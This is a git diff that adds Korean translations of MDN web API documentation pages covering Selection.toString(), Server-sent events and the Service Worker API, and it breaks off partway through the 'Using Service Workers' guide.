+
+<ul>
+ <li>Gecko/Firefox provide additional features, available to chrome (internal and add-on) code only. These are defined in {{Interface("nsISelectionPrivate")}}.</li>
+ <li>Mozilla source code: {{Source("dom/webidl/Selection.webidl")}}</li>
+ <li>{{DOMxRef("Selection.selectionLanguageChange()")}}{{Obsolete_Inline("gecko29")}} used to be exposed to the web content until Firefox 29</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{DOMxRef("Window.getSelection")}}, {{DOMxRef("Document.getSelection")}}, {{DOMxRef("Range")}}</li>
+ <li>Selection-related events: {{Event("selectionchange")}} and {{Event("selectstart")}}</li>
+ <li>HTML inputs provide simpler helper APIs for working with selection (see {{DOMxRef("HTMLInputElement.setSelectionRange()")}})</li>
+ <li>{{DOMxRef("Document.activeElement")}}, {{DOMxRef("HTMLElement.focus()")}}, and {{DOMxRef("HTMLElement.blur()")}}</li>
+</ul>
diff --git a/files/ko/web/api/selection/tostring/index.html b/files/ko/web/api/selection/tostring/index.html
new file mode 100644
index 0000000000..3048c8a65f
--- /dev/null
+++ b/files/ko/web/api/selection/tostring/index.html
@@ -0,0 +1,58 @@
+---
+title: Selection.toString()
+slug: Web/API/Selection/toString
+translation_of: Web/API/Selection/toString
+---
+<div>
+<div>
+<div>{{ ApiRef("DOM") }}{{SeeCompatTable}}</div>
+</div>
+</div>
+
+<p><strong><code>Selection.toString()</code></strong> 메소드는 selection 객체가 현재 나타내는 문자열을 반환합니다. 즉, 현재 선택된 텍스트의 문자열.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>str</em> =<em> sel</em>.toString()
+</pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>A string representing the selection.</p>
+
+<h2 id="Description" name="Description">Description</h2>
+
+<p>This method returns the currently selected text.</p>
+
+<p>In <a href="en/JavaScript">JavaScript</a>, this method is called automatically when a function the selection object is passed to requires a string:</p>
+
+<pre class="brush: js">alert(window.getSelection()) // What is called
+alert(window.getSelection().toString()) // What is actually being effectively called.
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML Editing', '#dom-selection-stringifier', 'Selection.toString()')}}</td>
+ <td>{{Spec2('HTML Editing')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{Compat("api.Selection.toString")}}</div>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Selection")}}, the interface it belongs to.</li>
+</ul>
diff --git a/files/ko/web/api/server-sent_events/index.html b/files/ko/web/api/server-sent_events/index.html
new file mode 100644
index 0000000000..4b893570f8
--- /dev/null
+++ b/files/ko/web/api/server-sent_events/index.html
@@ -0,0 +1,77 @@
+---
+title: Server-sent events
+slug: Web/API/Server-sent_events
+tags:
+ - API
+ - Overview
+ - SSE
+ - Server-sent events
+translation_of: Web/API/Server-sent_events
+---
+<p>{{DefaultAPISidebar("Server Sent Events")}}</p>
+
+<p>전통적으로 웹페이지는 새로운 데이터를 받기 위해 서버로 요청을 보내야만 합니다; 서버로 데이터를 요청하는 방식입니다. 하지만 Server-Sent Events 방식으로 웹페이지의 요청 없이도 언제든지 서버가 새로운 데이터를 보내는 것이 가능합니다. 이렇게 보내진 메시지는 웹페이지 안에서 <em><a href="/en-US/docs/DOM/event">Events</a> + 데이터</em>로 다룰 수 있습니다.</p>
+
+<h2 id="기본_사용하기">기본 &amp; 사용하기</h2>
+
+<p>Server-Sent Events를 배우려면 다음 글을 읽어보세요: <a href="/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events">Server-Sent Events 사용하기</a>.</p>
+
+<h2 id="Interfaces" name="Interfaces">인터페이스</h2>
+
+<dl>
+ <dt>{{domxref("EventSource")}}</dt>
+ <dd>서버와의 연결, 이벤트/데이터, 에러 받아오기, 연결 종료하기 등을 다루는 모든 기능을 정의하고 있습니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<ul>
+ <li><a href="https://github.com/mdn/dom-examples/tree/master/server-sent-events">PHP를 이용하여 구현한 간단한 SSE 데모</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', '#server-sent-events', 'Server-sent events')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also" name="See_also">더 찾아보기</h2>
+
+<h3 id="Tools" name="Tools">도구</h3>
+
+<ul>
+ <li><a href="https://github.com/EventSource/eventsource">Node.js를 위한 EventSource 폴리필</a></li>
+ <li>Remy Sharp의 <a class="link-https" href="https://github.com/remy/polyfills/blob/master/EventSource.js">EventSource 폴리필</a></li>
+ <li>Yaffle의 <a class="link-https" href="https://github.com/Yaffle/EventSource" title="https://github.com/Yaffle/EventSource">EventSource 폴리필</a></li>
+ <li>Rick Waldron <a class="link-https" href="https://github.com/rwldrn/jquery.eventsource">jquery 플러그인</a></li>
+ <li><a href="http://intercoolerjs.org/docs.html#sse">선언적인 SSE를 지원하는 </a>intercooler.js</li>
+</ul>
+
+<h3 id="Related_Topics" name="Related_Topics">관련 주제</h3>
+
+<ul>
+ <li><a href="/en-US/docs/AJAX" title="AJAX">AJAX</a></li>
+ <li><a href="/en-US/docs/JavaScript" title="JavaScript">JavaScript</a></li>
+ <li><a href="/en-US/docs/WebSockets" title="WebSockets">WebSockets</a></li>
+</ul>
+
+<h3 id="그_외_자료">그 외 자료</h3>
+
+<ul>
+ <li>SSE로 구현된 <a href="http://hacks.mozilla.org/2011/06/a-wall-powered-by-eventsource-and-server-sent-events/" title="http://hacks.mozilla.org/2011/06/a-wall-powered-by-eventsource-and-server-sent-events/">Twitter 어플리케이션</a>과 <a class="link-https" href="https://github.com/mozilla/webowonder-demos/tree/master/demos/friends%20timeline" title="https://github.com/mozilla/webowonder-demos/tree/master/demos/friends timeline">깃허브에 공개된 소스코드</a>.</li>
+ <li><a href="http://dsheiko.com/weblog/html5-and-server-sent-events" title="http://dsheiko.com/weblog/html5-and-server-sent-events">HTML5와 Server-sent events</a></li>
+ <li><a href="http://rajudasa.blogspot.in/2012/05/html5-server-sent-events-using-aspnet.html" title="http://rajudasa.blogspot.in/2012/05/html5-server-sent-events-using-aspnet.html">Asp.net을 이용한 Server-Sent Events</a></li>
+</ul>
diff --git a/files/ko/web/api/service_worker_api/index.html b/files/ko/web/api/service_worker_api/index.html
new file mode 100644
index 0000000000..5047e10e89
--- /dev/null
+++ b/files/ko/web/api/service_worker_api/index.html
@@ -0,0 +1,175 @@
+---
+title: Service Worker API
+slug: Web/API/Service_Worker_API
+tags:
+ - API
+ - Landing
+ - Offline
+ - Overview
+ - Reference
+ - Service Workers
+ - Workers
+ - 서비스 워커
+ - 오프라인
+translation_of: Web/API/Service_Worker_API
+---
+<div>{{ServiceWorkerSidebar}}</div>
+
+<p>서비스 워커는 웹 응용 프로그램, 브라우저, 그리고 (사용 가능한 경우) 네트워크 사이의 프록시 서버 역할을 합니다. 서비스 워커의 개발 의도는 여러가지가 있지만, 그 중에서도 효과적인 오프라인 경험을 생성하고, 네트워크 요청을 가로채서 네트워크 사용 가능 여부에 따라 적절한 행동을 취하고, 서버의 자산을 업데이트할 수 있습니다. 또한 푸시 알림과 백그라운드 동기화 API로의 접근도 제공합니다.</p>
+
+<h2 id="서비스_워커의_개념과_사용법">서비스 워커의 개념과 사용법</h2>
+
+<p>서비스 워커는 출처와 경로에 대해 등록하는 이벤트 기반 <a href="/ko/docs/Web/API/Worker">워커</a>로서 JavaScript 파일의 형태를 갖고 있습니다. 서비스 워커는 연관된 웹 페이지/사이트를 통제하여 탐색과 리소스 요청을 가로채 수정하고, 리소스를 굉장히 세부적으로 캐싱할 수 있습니다. 이를 통해 웹 앱이 어떤 상황에서 어떻게 동작해야 하는지 완벽하게 바꿀 수 있습니다. (제일 대표적인 상황은 네트워크를 사용하지 못할 때입니다.)</p>
+
+<p>서비스 워커는 워커 맥락에서 실행되기 때문에 DOM에 접근할 수 없습니다. 또한 앱을 구동하는 주 JavaScript와는 다른 스레드에서 동작하므로 연산을 가로막지 않습니다(논 블로킹). 서비스 워커는 온전히 비동기적으로 설계됐으며, 그로 인해 동기적 <a href="/ko/docs/Web/API/XMLHttpRequest">XHR</a>이나 <a href="/ko/docs/Web/API/Web_Storage_API">웹 저장소</a> 등의 API를 서비스 워커 내에서 사용할 수 없습니다.</p>
+
+<p>서비스 워커는 보안 상의 이유로 HTTPS에서만 동작합니다. 네트워크 요청을 수정할 수 있다는 점에서 중간자 공격에 굉장히 취약하기 때문입니다. 또한 Firefox에서는 사생활 보호 모드에서 Service Worker API에 접근할 수 없습니다.</p>
+
+<div class="note">
+<p><strong>참고</strong>: 서비스 워커는 모든 것을 세부적으로 통제할 수 있다는 점에서 <a href="http://alistapart.com/article/application-cache-is-a-douchebag">AppCache</a> 등 오프라인이나 캐시의 이전 시도보다 우위를 점합니다. 서비스 워커는 개발자의 의도를 짐작하지 않으며, 예측과 빗나갔을 때 망가지지도 않기 때문입니다.</p>
+</div>
+
+<div class="note">
+<p><strong>참고</strong>: 서비스 워커는 응답을 기다린 후 성공 또는 실패 액션을 실행하는 경우가 많으므로 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Promise">프로미스</a>를 적극적으로 사용합니다.</p>
+</div>
+
+<h3 id="등록">등록</h3>
+
+<p>서비스 워커는 {{domxref("ServiceWorkerContainer.register()")}} 메서드를 사용해 처음 등록합니다. 성공적으로 등록한 경우 클라이언트가 서비스 워커를 다운로드하고, 출처 전체에 대해 혹은 개발자가 지정한 특정 주소들에 대해서 서비스 워커의 설치와 활성화(아래 구획 참고)를 시도합니다.</p>
+
+<h3 id="다운로드_설치_활성화">다운로드, 설치, 활성화</h3>
+
+<p>서비스 워커를 살펴보면 다음과 같은 생명주기를 볼 수 있습니다.</p>
+
+<ol>
+ <li>다운로드</li>
+ <li>설치</li>
+ <li>활성화</li>
+</ol>
+
+<p>서비스 워커가 제어하는 사이트/페이지에 사용자가 처음 접근하는 순간 서비스 워커가 즉시 다운로드됩니다.</p>
+
+<p>서비스 워커의 업데이트는 다음 경우에 발생합니다.</p>
+
+<ul>
+ <li>범위 내 페이지로의 탐색 발생</li>
+ <li>서비스 워커에서 이벤트가 발생했는데, 서비스 워커를 이전 24시간 내에 다운로드하지 않은 경우</li>
+</ul>
+
+<p>다운로드한 파일이 더 새로운 버전인 경우 서비스 워커의 설치를 시도합니다. 버전 비교는 기존 서비스 워커 파일과의 바이트 단위 비교 결과를 사용합니다. 이 페이지/사이트에서 서비스 워커를 처음 발견한 경우에도 "새로운 버전"으로 취급합니다.</p>
+
+<p>기존 서비스 워커가 없으면 설치를 시도하고, 설치를 성공하면 활성화합니다.</p>
+
+<p>기존에 서비스 워커가 존재하던 경우, 새로운 버전을 백그라운드에서 설치하지만 활성화는 아직 하지 않습니다. 이 시점의 워커를 <u>대기 중인 워커</u>라고 부릅니다. 대기 중인 워커는 이전 버전의 서비스 워커를 사용하는 페이지가 모두 닫힌 경우 활성화되어 <u>활성 워커</u>가 됩니다. {{DOMxRef("ServiceWorkerGlobalScope.skipWaiting()")}}을 사용해 활성화 절차를 더 빨리 시작할 수 있으며, 새로운 활성 워커는 {{DOMxRef("Clients.claim()")}}을 사용해 이전 페이지를 회수할 수 있습니다.</p>
+
+<p>생명주기 중 발생하는 이벤트 중 하나는 {{domxref("ServiceWorkerGlobalScope/install_event", "install")}} 이벤트입니다. 이 이벤트의 대표적인 사용 방법은, 예를 들면 내장 저장소 API를 사용해 캐시를 만들고, 오프라인 상황에서 사용할 자산을 준비하는 등, 서비스 워커의 사용을 준비하는 것입니다.</p>
+
+<p>{{domxref("ServiceWorkerGlobalScope/activate_event", "activate")}} 이벤트도 있습니다. <code>activate</code>의 시점에서는 과거의 캐시를 지우고, 구버전 서비스 워커에 관련된 항목을 청소하는 등 여러가지를 정리하기에 좋습니다.</p>
+
+<p>서비스 워커는 {{domxref("FetchEvent")}} 이벤트를 사용해 요청에 응답할 수 있습니다. {{domxref("FetchEvent.respondWith()")}} 메서드를 사용해 요청에 대한 응답을 원하는 방식으로 자유롭게 바꾸세요.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> <code>install</code>과 <code>activate</code> 이벤트 처리는 시간이 꽤 걸릴 수도 있기에, 서비스 워커 명세는 {{domxref("ExtendableEvent.waitUntil", "waitUntil()")}} 메서드를 제공합니다. <code>install</code>이나 <code>activate</code>에서 <code>waitUntil()</code>을 호출하면서 매개변수로 프로미스를 제공하면, 성공적으로 이행하기 전까지는 기능 이벤트가 발생하지 않습니다.</p>
+</div>
+
+<p>기본적인 첫 서비스 워커를 차근차근 만드는 방법은 <a href="/ko/docs/Web/API/Service_Worker_API/Using_Service_Workers">서비스 워커 사용하기</a>에서 읽어볼 수 있습니다.</p>
+
+<h2 id="다른_사용법_아이디어">다른 사용법 아이디어</h2>
+
+<p>서비스 워커의 설계는 다음과 같은 용도로 사용하는 것도 감안했습니다.</p>
+
+<ul>
+ <li>백그라운드 데이터 동기화.</li>
+ <li>다른 출처에서의 리소스 요청을 응답.</li>
+ <li>위치정보, 자이로 센서 등 계산에 높은 비용이 들어가는 다수의 페이지에서 함께 사용할 수 있도록 데이터 업데이트를 중앙화.</li>
+ <li>개발 목적으로서 CoffeeScript, Less, CJS/AMD 모듈 등의 의존성 관리와 컴파일.</li>
+ <li>백그라운드 서비스 훅.</li>
+ <li>특정 URL 패턴에 기반한 사용자 지정 템플릿 제공.</li>
+ <li>성능 향상. 사진 앨범의 다음 사진 몇 장처럼, 사용자가 필요로 할 것으로 생각되는 리소스의 프리페칭 등.</li>
+</ul>
+
+<p>미래의 서비스 워커는 웹 플랫폼이 네이티브 앱의 능력에 보다 근접하도록 여러 가지 유용한 기능을 수행할 수 있을 것입니다. 흥미롭게도 다른 명세에서도 서비스 워커 맥락을 사용할 수 있으며, 이미 다음과 같은 곳에서 사용하고 있습니다.</p>
+
+<ul>
+ <li><a href="https://github.com/slightlyoff/BackgroundSync">백그라운드 동기화</a>: 아무 사용자도 사이트에 없을 때 서비스 워커를 가동해 캐시를 업데이트 하는 등의 작업을 수행.</li>
+ <li><a href="/ko/docs/Web/API/Push_API">푸시 메시지에 반응</a>: 서비스 워커를 가동, 새로운 콘텐츠가 이용 가능하다는 메시지를 사용자에게 전송.</li>
+ <li>특정 시간과 날짜에 반응.</li>
+ <li>지오펜스 진입.</li>
+</ul>
+
+<h2 id="인터페이스">인터페이스</h2>
+
+<dl>
+ <dt>{{DOMxRef("Cache")}} {{Experimental_Inline}}</dt>
+ <dd>{{DOMxRef("ServiceWorker")}} 생명주기의 일부로서 캐시되는 {{domxref("Request")}} / {{domxref("Response")}} 객체 쌍의 저장소를 나타냅니다.</dd>
+ <dt>{{DOMxRef("CacheStorage")}} {{Experimental_Inline}}</dt>
+ <dd>{{DOMxRef("Cache")}} 객체의 저장소를 나타냅니다. {{DOMxRef("ServiceWorker")}}가 접근할 수 있는 모든 유명 캐시의 주 디렉토리를 제공하며, {{domxref("Cache")}} 객체를 가리키는 문자열 이름의 맵핑도 관리합니다.</dd>
+ <dt>{{DOMxRef("Client")}} {{Experimental_Inline}}</dt>
+ <dd>서비스 워커 클라이언트의 범위를 나타냅니다. 서비스 워커 클라이언트는 브라우저 맥락에서의 문서이거나, 활성화된 워커가 제어하는 {{domxref("SharedWorker")}}입니다.</dd>
+ <dt>{{DOMxRef("Clients")}} {{Experimental_Inline}}</dt>
+ <dd>{{DOMxRef("Client")}} 객체의 목록을 나타냅니다. Clients는 현재 {{glossary("출처")}}의 활성 서비스 워커 클라이언트에 접근하는 주요 방법입니다.</dd>
+ <dt>{{DOMxRef("ExtendableEvent")}} {{Experimental_Inline}}</dt>
+ <dd>서비스 워커 생명주기의 일부로서 {{DOMxRef("ServiceWorkerGlobalScope")}}에서 발생하는 <code>install</code>과 <code>activate</code> 이벤트의 지속시간을 늘립니다. 이로써 데이터베이스 스키마를 업그레이드하거나, 만료된 캐시 항목을 지우는 작업 등이 끝나기 전까지 {{DOMxRef("FetchEvent")}}와 같은 기능 이벤트가 {{DOMxRef("ServiceWorker")}}로 전달되지 않도록 합니다.</dd>
+ <dt>{{DOMxRef("ExtendableMessageEvent")}} {{Experimental_Inline}}</dt>
+ <dd>The event object of a {{event("message_(ServiceWorker)","message")}} event fired on a service worker (when a channel message is received on the {{DOMxRef("ServiceWorkerGlobalScope")}} from another context) — extends the lifetime of such events.</dd>
+ <dt>{{DOMxRef("FetchEvent")}} {{Experimental_Inline}}</dt>
+ <dd>The parameter passed into the {{DOMxRef("ServiceWorkerGlobalScope.onfetch")}} handler, <code>FetchEvent</code> represents a fetch action that is dispatched on the {{DOMxRef("ServiceWorkerGlobalScope")}} of a {{DOMxRef("ServiceWorker")}}. It contains information about the request and resulting response, and provides the {{DOMxRef("FetchEvent.respondWith", "FetchEvent.respondWith()")}} method, which allows us to provide an arbitrary response back to the controlled page.</dd>
+ <dt>{{DOMxRef("InstallEvent")}} {{Experimental_Inline}}</dt>
+ <dd>The parameter passed into the {{DOMxRef("ServiceWorkerGlobalScope.oninstall", "oninstall")}} handler, the <code>InstallEvent</code> interface represents an install action that is dispatched on the {{DOMxRef("ServiceWorkerGlobalScope")}} of a {{DOMxRef("ServiceWorker")}}. As a child of {{DOMxRef("ExtendableEvent")}}, it ensures that functional events such as {{DOMxRef("FetchEvent")}} are not dispatched during installation.</dd>
+ <dt>{{DOMxRef("NavigationPreloadManager")}} {{Experimental_Inline}}</dt>
+ <dd>Provides methods for managing the preloading of resources with a service worker.</dd>
+ <dt>{{DOMxRef("Navigator.serviceWorker")}}</dt>
+ <dd>Returns a {{DOMxRef("ServiceWorkerContainer")}} object, which provides access to registration, removal, upgrade, and communication with the {{DOMxRef("ServiceWorker")}} objects for the <a href="https://html.spec.whatwg.org/multipage/browsers.html#concept-document-window">associated document</a>.</dd>
+ <dt>{{DOMxRef("NotificationEvent")}} {{Experimental_Inline}}</dt>
+ <dd>The parameter passed into the {{DOMxRef("ServiceWorkerGlobalScope.onnotificationclick", "onnotificationclick")}} handler, the <code>NotificationEvent</code> interface represents a notification click event that is dispatched on the {{DOMxRef("ServiceWorkerGlobalScope")}} of a {{DOMxRef("ServiceWorker")}}.</dd>
+ <dt>{{DOMxRef("ServiceWorker")}} {{Experimental_Inline}}</dt>
+ <dd>Represents a service worker. Multiple browsing contexts (e.g. pages, workers, etc.) can be associated with the same <code>ServiceWorker</code> object.</dd>
+ <dt>{{DOMxRef("ServiceWorkerContainer")}} {{Experimental_Inline}}</dt>
+ <dd>Provides an object representing the service worker as an overall unit in the network ecosystem, including facilities to register, unregister, and update service workers, and access the state of service workers and their registrations.</dd>
+ <dt>{{DOMxRef("ServiceWorkerGlobalScope")}}</dt>
+ <dd>Represents the global execution context of a service worker.</dd>
+ <dt>{{DOMxRef("ServiceWorkerMessageEvent")}} {{Deprecated_Inline}}</dt>
+ <dd>Represents a message sent to a {{DOMxRef("ServiceWorkerGlobalScope")}}. <strong>Note that this interface is deprecated in modern browsers. Service worker messages will now use the {{DOMxRef("MessageEvent")}} interface, for consistency with other web messaging features.</strong></dd>
+ <dt>{{DOMxRef("ServiceWorkerRegistration")}} {{Experimental_Inline}}</dt>
+ <dd>Represents a service worker registration.</dd>
+ <dt>{{DOMxRef("ServiceWorkerState")}} {{Experimental_Inline}}</dt>
+ <dd>Associated with its <a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker" title="The ServiceWorker interface of the ServiceWorker API provides a reference to a service worker. Multiple browsing contexts (e.g. pages, workers, etc.) can be associated with the same service worker, each through a unique ServiceWorker object."><code>ServiceWorker</code></a>'s state.</dd>
+ <dt>{{DOMxRef("SyncEvent")}} {{Non-standard_Inline}}</dt>
+ <dd>
+ <p>The SyncEvent interface represents a sync action that is dispatched on the {{DOMxRef("ServiceWorkerGlobalScope")}} of a ServiceWorker.</p>
+ </dd>
+ <dt>{{DOMxRef("SyncManager")}} {{Non-standard_Inline}}</dt>
+ <dd>Provides an interface for registering and listing sync registrations.</dd>
+ <dt>{{DOMxRef("WindowClient")}} {{Experimental_Inline}}</dt>
+ <dd>Represents the scope of a service worker client that is a document in a browser context, controlled by an active worker. This is a special type of {{DOMxRef("Client")}} object, with some additional methods and properties available.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('Service Workers')}}</td>
+ <td>{{Spec2('Service Workers')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="https://serviceworke.rs">ServiceWorker 쿡북</a></li>
+ <li><a href="/ko/docs/Web/API/Service_Worker_API/Using_Service_Workers">서비스 워커 사용하기</a></li>
+ <li><a href="https://github.com/mdn/sw-test">서비스 워커 기초 코드 예제</a></li>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="/ko/docs/Web/API/Web_Workers_API/basic_usage">웹 워커 사용하기</a></li>
+</ul>
diff --git a/files/ko/web/api/service_worker_api/using_service_workers/index.html b/files/ko/web/api/service_worker_api/using_service_workers/index.html
new file mode 100644
index 0000000000..9c9ffcf6e0
--- /dev/null
+++ b/files/ko/web/api/service_worker_api/using_service_workers/index.html
@@ -0,0 +1,521 @@
+---
+title: Using Service Workers
+slug: Web/API/Service_Worker_API/Using_Service_Workers
+translation_of: Web/API/Service_Worker_API/Using_Service_Workers
+---
+<p>{{ServiceWorkerSidebar}}</p>
+
+<p>{{ SeeCompatTable() }}</p>
+
+<div class="summary">
+<p>본 문서에서는 서비스 워커를 시작하기 위한 기본적인 아키텍처, 서비스 워커 등록, 새로운 서비스 워커의 설치와 활성화 과정, 서비스 워커 업데이트, 캐시 제어 및 사용자 정의 응답에 대한 정보를 오프라인 기능을 갖춘 간단한 예제를 통해 제공합니다.</p>
+</div>
+
+<h2 id="서비스_워커에_앞서서...">서비스 워커에 앞서서...</h2>
+
+<p><font><font>웹 사용자들이 몇 년 동안 겪었던 가장 중요한 문제 중 하나는 인터넷 연결이 끊어지면 작동하지 않는겁니다. 세계 최고의 웹 앱조차 연결이 없을 때는 끔찍한 사용자 경험을 제공합니다. 우리의 <a href="https://developer.mozilla.org/en-US/Apps/Build/Offline">오프라인</a> 페이지가 보여주듯이, 이 문제를 해결하기 위한 기술을 개발하기 위한 여러가지 시도가 있었고, 일부 문제는 해결되었습니다. 그러나 가장 중요한 문제는 리소스 캐싱과 커스텀 네트워크(예를 들어 WebSocket등을 이용한 리소스 로드) 통신 제어 메커니즘이 여전히 좋지 않다는 점입니다.</font></font></p>
+
+<p>직전의 시도였던 <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Using_the_application_cache"><font><font>AppCache</font></font></a><font><font> 는 캐싱할 리소스를 쉽게 지정할 수 있었기 때문에 좋은 생각이였던것 처럼 보였지만, 당신이 지정한 동작에 대한 가정을 앱이 정확하게 따르지 않을 경우 앱이 끔찍하게 망가집니다. 자세히 알고 싶으면 Jake Archibald의 </font></font><a href="http://alistapart.com/article/application-cache-is-a-douchebag">Application Cache is a Douchebag</a> <font><font>을 참고하세요.</font></font></p>
+
+<div class="note">
+<p><strong>참고</strong>: Firefox 44에서 <a href="/en-US/docs/Web/HTML/Using_the_application_cache">AppCache</a> 를 사용해서 페이지의 오프라인 지원을 제공할 경우 콘솔에 <a href="/en-US/docs/Web/API/Service_Worker_API/Using_Service_Workers">서비스 워커</a> 를 대신 사용하는것에 대한 제안이 경고로 표시됩니다. ({{bug("1204581")}})</p>
+</div>
+
+<p>서비스 워커는 최종적으로 이러한 문제를 해결해야 합니다. 서비스 워커 구문은 <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Using_the_application_cache"><font><font>AppCache</font></font></a><font><font> </font></font>보다 복잡하지만, 자바스크립트를 사용해서 세밀하게 <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Using_the_application_cache"><font><font>AppCache</font></font></a><font><font> </font></font>의 암묵적인 동작들을 제어할 수 있으므로 이 문제 그 이상을 처리 할 수 있습니다. 서비스 워커를 사용하면 먼저 캐싱된 리소스를 사용하도록 앱을 설정해서 오프라인일 경우에도 일관적인 경험을 제공한다음 네트워크 연결이 돌아올 때 더 많은 데이터를 불러오게 할 수 있습니다.<font><font> (보통 </font></font><a href="http://offlinefirst.org/" rel="noopener"><font><font>오프라인 우선</font></font></a><font><font> 이라고 함</font><font>) </font></font>이 기능은 네이티브 앱에서는 이미 널리 사용되는 구현법이며, 이는 네이티브 앱이 웹 앱 대신 선택되는 주된 이유 중 하나입니다.</p>
+
+<h2 id="서비스워커_개발을_위한_환경_설정">서비스워커 개발을 위한 환경 설정</h2>
+
+<p>서비스워커가 지원되는 최신 브라우저에서 많은 서비스 워커 기능들이 활성화되어 있습니다. 만약 현재 사용하시는 브라우저에서 데모 코드가 돌아가지 않으면, 아래와 같이 환경을 설정해주세요.</p>
+
+<ul>
+ <li><strong>Firefox Nightly</strong>: <code>about:config</code> 로 가서 <code>dom.serviceWorkers.enabled</code> 값을 true 로 변경하고, 브라우저 재시작</li>
+ <li><strong>Chrome Canary</strong>: <code>chrome://flags</code> 로 가서 <code>experimental-web-platform-features</code> 을 키고, 브라우저 재시작 (몇몇 기능은 크롬에서도 활성화되어 있습니다)</li>
+ <li><strong>Opera</strong>: <code>opera://flags</code> 로 가서 <code>Support for ServiceWorker</code> 를 활성화 하고, 브라우저 재시작</li>
+</ul>
+
+<p>애플리케이션을 HTTPS 에서 실행시키세요 - 서비스워커는 보안상의 이유로 HTTPS 에서만 동작합니다. Github 은 HTTPS 를 지원하기 때문에 서비스워커를 시험해보기 좋은 사이트입니다. 이외에 localhost 도 https 로 간주되니 로컬 개발환경도 활용해보세요.</p>
+
+<h2 id="기본_구조">기본 구조</h2>
+
+<p>다음의 단계들은 서비스 워커의 기본적인 설정법입니다:</p>
+
+<ol>
+ <li>{{domxref("serviceWorkerContainer.register()")}}을 통해서 서비스 워커 URL을 가져오고, 등록합니다.</li>
+ <li>등록에 성공하면, {{domxref("ServiceWorkerGlobalScope") }} 범위에서 서비스 워커가 실행됩니다. 이는 (메인 스크립트 실행 쓰레드를 running off하면서) 기본적으로 DOM 접근이 없는 작업 문맥을 갖습니다.</li>
+ <li>이제 서비스 워커는 이벤트를 처리할 준비가 되었습니다.</li>
+ <li>서비스 워커가 제어하는 페이지들에 연속적으로 접근하게 될 때 서비스 워커 설치를 시도하게 됩니다. 서비스 워커는 항상 처음으로 설치 이벤트를 받습니다.(설치 이벤트는 IndexedDB를 생성하고, 사이트 assets을 캐싱하는 처리를 시작할 때 사용될 수 있습니다.) 설치 이벤트는 모든 것을 오프라인에서 사용할 수 있게 하는, 네이티브 또는 파이어폭스 OS 앱을 설치하는 프로시저와 같은 종류입니다.</li>
+ <li><code>oninstall</code> 핸들러가 완료되면, 서비스 워커가 설치되었다고 할 수 있습니다.</li>
+ <li>다음은 활성(activation) 이벤트입니다. 서비스 워커가 설치되면, 활성 이벤트를 받게 됩니다.  <code>onactivate</code> 는 이전 버전의 서비스 워커 스크립트에서 사용된 리소스들을 삭제하는 용도로서 주로 사용됩니다.</li>
+ <li>이제 서비스 워커가 페이지들을 제어하게 될 것이지만, 오직 <code>register()</code> 가 성공적으로 수행된 후에 페이지들이 열리게 될 것입니다. 즉, 문서는 서비스 워커와 함께, 또는 없이도 라이프를 시작하고 유지합니다. 따라서 문서는 실제로 서비스 워커에 제어되기 위해서 재시작 되어야 할 것입니다.</li>
+</ol>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/12636/sw-lifecycle.png" style="display: block; height: 867px; margin: 0px auto; width: 579px;"></p>
+
+<p>The below graphic shows a summary of the available service worker events:</p>
+
+<p><img alt="install, activate, message, fetch, sync, push" src="https://mdn.mozillademos.org/files/12632/sw-events.png" style="display: block; margin: 0px auto;"></p>
+
+<h3 id="Promises">Promises</h3>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promises</a> are a great mechanism for running async operations, with success dependant on one another. This is central to the way service workers work.<br>
+ <br>
+ Promises can do a great many things, but for now, all you need to know is that if something returns a promise, you can attach <code>.then()</code> to the end and include callbacks inside it for success, failure, etc., or you can insert <code>.catch()</code> on the end if you want to include a failure callback.</p>
+
+<p>Let’s compare a traditional synchronous callback structure to its asynchronous promise equivalent.</p>
+
+<h4 id="sync">sync</h4>
+
+<pre class="brush: js">try {
+ var value = myFunction();
+ console.log(value);
+} catch(err) {
+ console.log(err);
+}</pre>
+
+<h4 id="async">async</h4>
+
+<pre class="brush: js">myFunction().then(function(value) {
+ console.log(value);
+}).catch(function(err) {
+ console.log(err);
+});</pre>
+
